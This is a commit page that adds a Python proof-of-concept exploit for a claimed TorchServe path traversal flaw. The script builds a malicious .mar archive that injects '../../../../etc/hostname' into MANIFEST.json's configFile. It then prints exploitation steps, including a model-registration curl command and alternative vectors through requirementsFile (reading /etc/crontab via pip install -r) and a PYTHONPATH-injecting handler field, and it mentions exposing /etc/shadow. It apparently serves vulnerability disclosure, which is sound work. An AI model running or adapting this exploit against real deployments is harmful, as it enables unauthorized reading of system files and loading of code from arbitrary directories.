ryansecuritytest-fanpierlabs commited on
Commit
bfb7a9d
·
verified ·
1 Parent(s): f10a85a

Upload poc_torchserve_configfile_traversal.py with huggingface_hub

Browse files
poc_torchserve_configfile_traversal.py ADDED
@@ -0,0 +1,241 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: TorchServe Post-Extraction Path Traversal via configFile in MANIFEST.json
4
+
5
+ Vulnerability: The configFile field in MANIFEST.json is passed directly to
6
+ `new File(modelDir.getAbsolutePath(), manifest.getModel().getConfigFile())`
7
+ in ModelArchive.getModelConfig() (ModelArchive.java:225-226) without any
8
+ path traversal validation.
9
+
10
+ This is DISTINCT from CVE-2023-48299 (ZipSlip), which only validates paths
11
+ during ZIP extraction in ZipUtils.java. The configFile value is consumed
12
+ POST-extraction from the already-parsed MANIFEST.json, completely bypassing
13
+ the ZipSlip fix.
14
+
15
+ Impact:
16
+ - Arbitrary file read: TorchServe reads the traversed path and parses it
17
+ as YAML via ArchiveUtils.readYamlFile(). The file contents (or YAML parse
18
+ errors containing file contents) are exposed in logs and error responses.
19
+ - Similarly, requirementsFile is used in ModelManager.java:296-297 with
20
+ Paths.get(model.getModelDir().getAbsolutePath(), requirementsFile) and
21
+ then passed to `pip install -r`, enabling arbitrary file read or
22
+ dependency confusion.
23
+ - The handler field is used in EnvironmentUtils.java:29-36 to construct
24
+ PYTHONPATH entries without validation.
25
+
26
+ Repository: https://github.com/pytorch/serve
27
+ Commit tested: 62c4d6a1fdc1d071dbcf758ebd756029af20bd5e
28
+ """
29
+
30
+ import json
31
+ import zipfile
32
+ import struct
33
+ import io
34
+ import os
35
+ import sys
36
+ import tempfile
37
+ import argparse
38
+ import textwrap
39
+
40
+ # Default traversal targets
41
+ DEFAULT_TRAVERSAL_CONFIGFILE = "../../../../etc/hostname"
42
+ DEFAULT_TRAVERSAL_REQUIREMENTS = "../../../../etc/hostname"
43
+
44
+
45
+ def create_malicious_mar(
46
+ output_path: str,
47
+ traversal_path: str = DEFAULT_TRAVERSAL_CONFIGFILE,
48
+ model_name: str = "malicious_model",
49
+ use_requirements: bool = False,
50
+ ) -> str:
51
+ """
52
+ Create a minimal .mar (Model ARchive) file with a path traversal payload
53
+ in the configFile field of MANIFEST.json.
54
+
55
+ A .mar file is simply a ZIP archive containing:
56
+ - MANIFEST.json (model metadata, parsed by TorchServe)
57
+ - handler .py (model handler script)
58
+
59
+ The configFile field in MANIFEST.json is deserialized into
60
+ Manifest.Model.configFile and later used without validation in
61
+ ModelArchive.getModelConfig().
62
+ """
63
+
64
+ manifest = {
65
+ "createdOn": "01/01/2025 00:00:00",
66
+ "runtime": "python",
67
+ "model": {
68
+ "modelName": model_name,
69
+ "serializedFile": "model.bin",
70
+ "handler": "handler.py",
71
+ "modelVersion": "1.0",
72
+ },
73
+ "archiverVersion": "0.9.0",
74
+ }
75
+
76
+ # Inject path traversal into configFile
77
+ manifest["model"]["configFile"] = traversal_path
78
+
79
+ if use_requirements:
80
+ manifest["model"]["requirementsFile"] = traversal_path
81
+
82
+ # Minimal handler that does nothing (required for model registration)
83
+ handler_code = textwrap.dedent("""\
84
+ # Minimal handler for PoC
85
+ from ts.torch_handler.base_handler import BaseHandler
86
+
87
+ class MaliciousHandler(BaseHandler):
88
+ def initialize(self, context):
89
+ pass
90
+ def handle(self, data, context):
91
+ return [{"status": "ok"}]
92
+ """)
93
+
94
+ # Fake serialized model (can be empty for our purposes)
95
+ fake_model_bin = b"\\x00" * 16
96
+
97
+ with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
98
+ zf.writestr("MAR-INF/MANIFEST.json", json.dumps(manifest, indent=2))
99
+ zf.writestr("handler.py", handler_code)
100
+ zf.writestr("model.bin", fake_model_bin)
101
+
102
+ return output_path
103
+
104
+
105
+ def print_exploitation_steps(mar_path: str, model_name: str, traversal_path: str):
106
+ """Print step-by-step exploitation instructions."""
107
+
108
+ abs_mar = os.path.abspath(mar_path)
109
+
110
+ print(f"""
111
+ =============================================================
112
+ TorchServe configFile Path Traversal PoC
113
+ =============================================================
114
+
115
+ [*] Malicious .mar archive created: {abs_mar}
116
+ [*] Traversal payload: configFile = "{traversal_path}"
117
+
118
+ --- MANIFEST.json contents ---""")
119
+
120
+ with zipfile.ZipFile(mar_path, "r") as zf:
121
+ manifest_data = zf.read("MAR-INF/MANIFEST.json").decode()
122
+ print(manifest_data)
123
+
124
+ print(f"""--- End MANIFEST.json ---
125
+
126
+ EXPLOITATION STEPS:
127
+ ===================
128
+
129
+ 1. Start TorchServe (default config):
130
+ $ torchserve --start --model-store /tmp/model_store --ncs
131
+
132
+ 2. Copy the malicious .mar to the model store:
133
+ $ cp {abs_mar} /tmp/model_store/
134
+
135
+ 3. Register the model via the Management API:
136
+ $ curl -X POST "http://localhost:8081/models?url={model_name}.mar&model_name={model_name}&initial_workers=1"
137
+
138
+ 4. TorchServe will:
139
+ a. Extract the .mar (ZIP) to a temp directory, e.g.:
140
+ /tmp/models/<hash>/{model_name}/
141
+ b. Parse MANIFEST.json and read manifest.model.configFile
142
+ c. Call ModelArchive.getModelConfig() which executes:
143
+ new File(modelDir.getAbsolutePath(), "{traversal_path}")
144
+ d. This resolves to a path OUTSIDE the model directory:
145
+ /tmp/models/<hash>/{model_name}/{traversal_path}
146
+ -> which normalizes to e.g., /etc/hostname
147
+ e. The file is read and parsed as YAML via ArchiveUtils.readYamlFile()
148
+
149
+ 5. Observe the result:
150
+ - If the target file is valid YAML, its contents are parsed into
151
+ ModelConfig and may influence model behavior.
152
+ - If the target file is NOT valid YAML, the parse error in the
153
+ TorchServe log will contain the file contents:
154
+ "Failed to parse model config file ../../../../etc/hostname"
155
+ followed by the SnakeYAML exception showing the file content.
156
+
157
+ Check TorchServe logs:
158
+ $ cat logs/ts_log.log | grep -A5 "Failed to parse model config"
159
+
160
+ ALTERNATIVE VECTORS:
161
+ ====================
162
+
163
+ A) requirementsFile traversal (ModelManager.java:296-297):
164
+ Set "requirementsFile": "../../../../etc/crontab" in MANIFEST.json.
165
+ When install_py_dep_per_model=true, TorchServe runs:
166
+ pip install -r /tmp/models/<hash>/{model_name}/../../../../etc/crontab
167
+ This reads and attempts to install packages from the traversed file path.
168
+
169
+ B) handler field (EnvironmentUtils.java:29-36):
170
+ Set "handler": "../../../../etc:/malicious_handler" in MANIFEST.json.
171
+ The path before ":" is split and added to PYTHONPATH, enabling
172
+ code loading from arbitrary directories.
173
+
174
+ EXPECTED OUTPUT IN LOGS:
175
+ ========================
176
+ For configFile = "../../../../etc/hostname":
177
+ ERROR - Failed to parse model config file ../../../../etc/hostname
178
+ org.yaml.snakeyaml.scanner.ScannerException: ...
179
+ (hostname value visible in error message)
180
+
181
+ For configFile = "../../../../etc/shadow" (if readable):
182
+ ERROR - Failed to parse model config file ../../../../etc/shadow
183
+ (shadow file contents partially visible in YAML parse errors)
184
+ """)
185
+
186
+
187
+ def verify_mar_structure(mar_path: str):
188
+ """Verify the .mar file is well-formed."""
189
+ print(f"[*] Verifying .mar structure: {mar_path}")
190
+ with zipfile.ZipFile(mar_path, "r") as zf:
191
+ names = zf.namelist()
192
+ print(f" Archive entries: {names}")
193
+ assert "MAR-INF/MANIFEST.json" in names, "Missing MANIFEST.json"
194
+
195
+ manifest = json.loads(zf.read("MAR-INF/MANIFEST.json"))
196
+ config_file = manifest.get("model", {}).get("configFile", "")
197
+ print(f" configFile value: {config_file}")
198
+ assert ".." in config_file, "Traversal payload not present in configFile"
199
+ print("[+] .mar file is valid and contains traversal payload")
200
+
201
+
202
+ def main():
203
+ parser = argparse.ArgumentParser(
204
+ description="PoC: TorchServe configFile path traversal"
205
+ )
206
+ parser.add_argument(
207
+ "-o", "--output",
208
+ default="malicious_model.mar",
209
+ help="Output .mar file path (default: malicious_model.mar)",
210
+ )
211
+ parser.add_argument(
212
+ "-t", "--traversal-path",
213
+ default=DEFAULT_TRAVERSAL_CONFIGFILE,
214
+ help=f"Path traversal payload for configFile (default: {DEFAULT_TRAVERSAL_CONFIGFILE})",
215
+ )
216
+ parser.add_argument(
217
+ "-n", "--model-name",
218
+ default="malicious_model",
219
+ help="Model name (default: malicious_model)",
220
+ )
221
+ parser.add_argument(
222
+ "--requirements",
223
+ action="store_true",
224
+ help="Also set requirementsFile to the traversal path",
225
+ )
226
+ args = parser.parse_args()
227
+
228
+ print("[*] Creating malicious .mar archive...")
229
+ create_malicious_mar(
230
+ output_path=args.output,
231
+ traversal_path=args.traversal_path,
232
+ model_name=args.model_name,
233
+ use_requirements=args.requirements,
234
+ )
235
+
236
+ verify_mar_structure(args.output)
237
+ print_exploitation_steps(args.output, args.model_name, args.traversal_path)
238
+
239
+
240
+ if __name__ == "__main__":
241
+ main()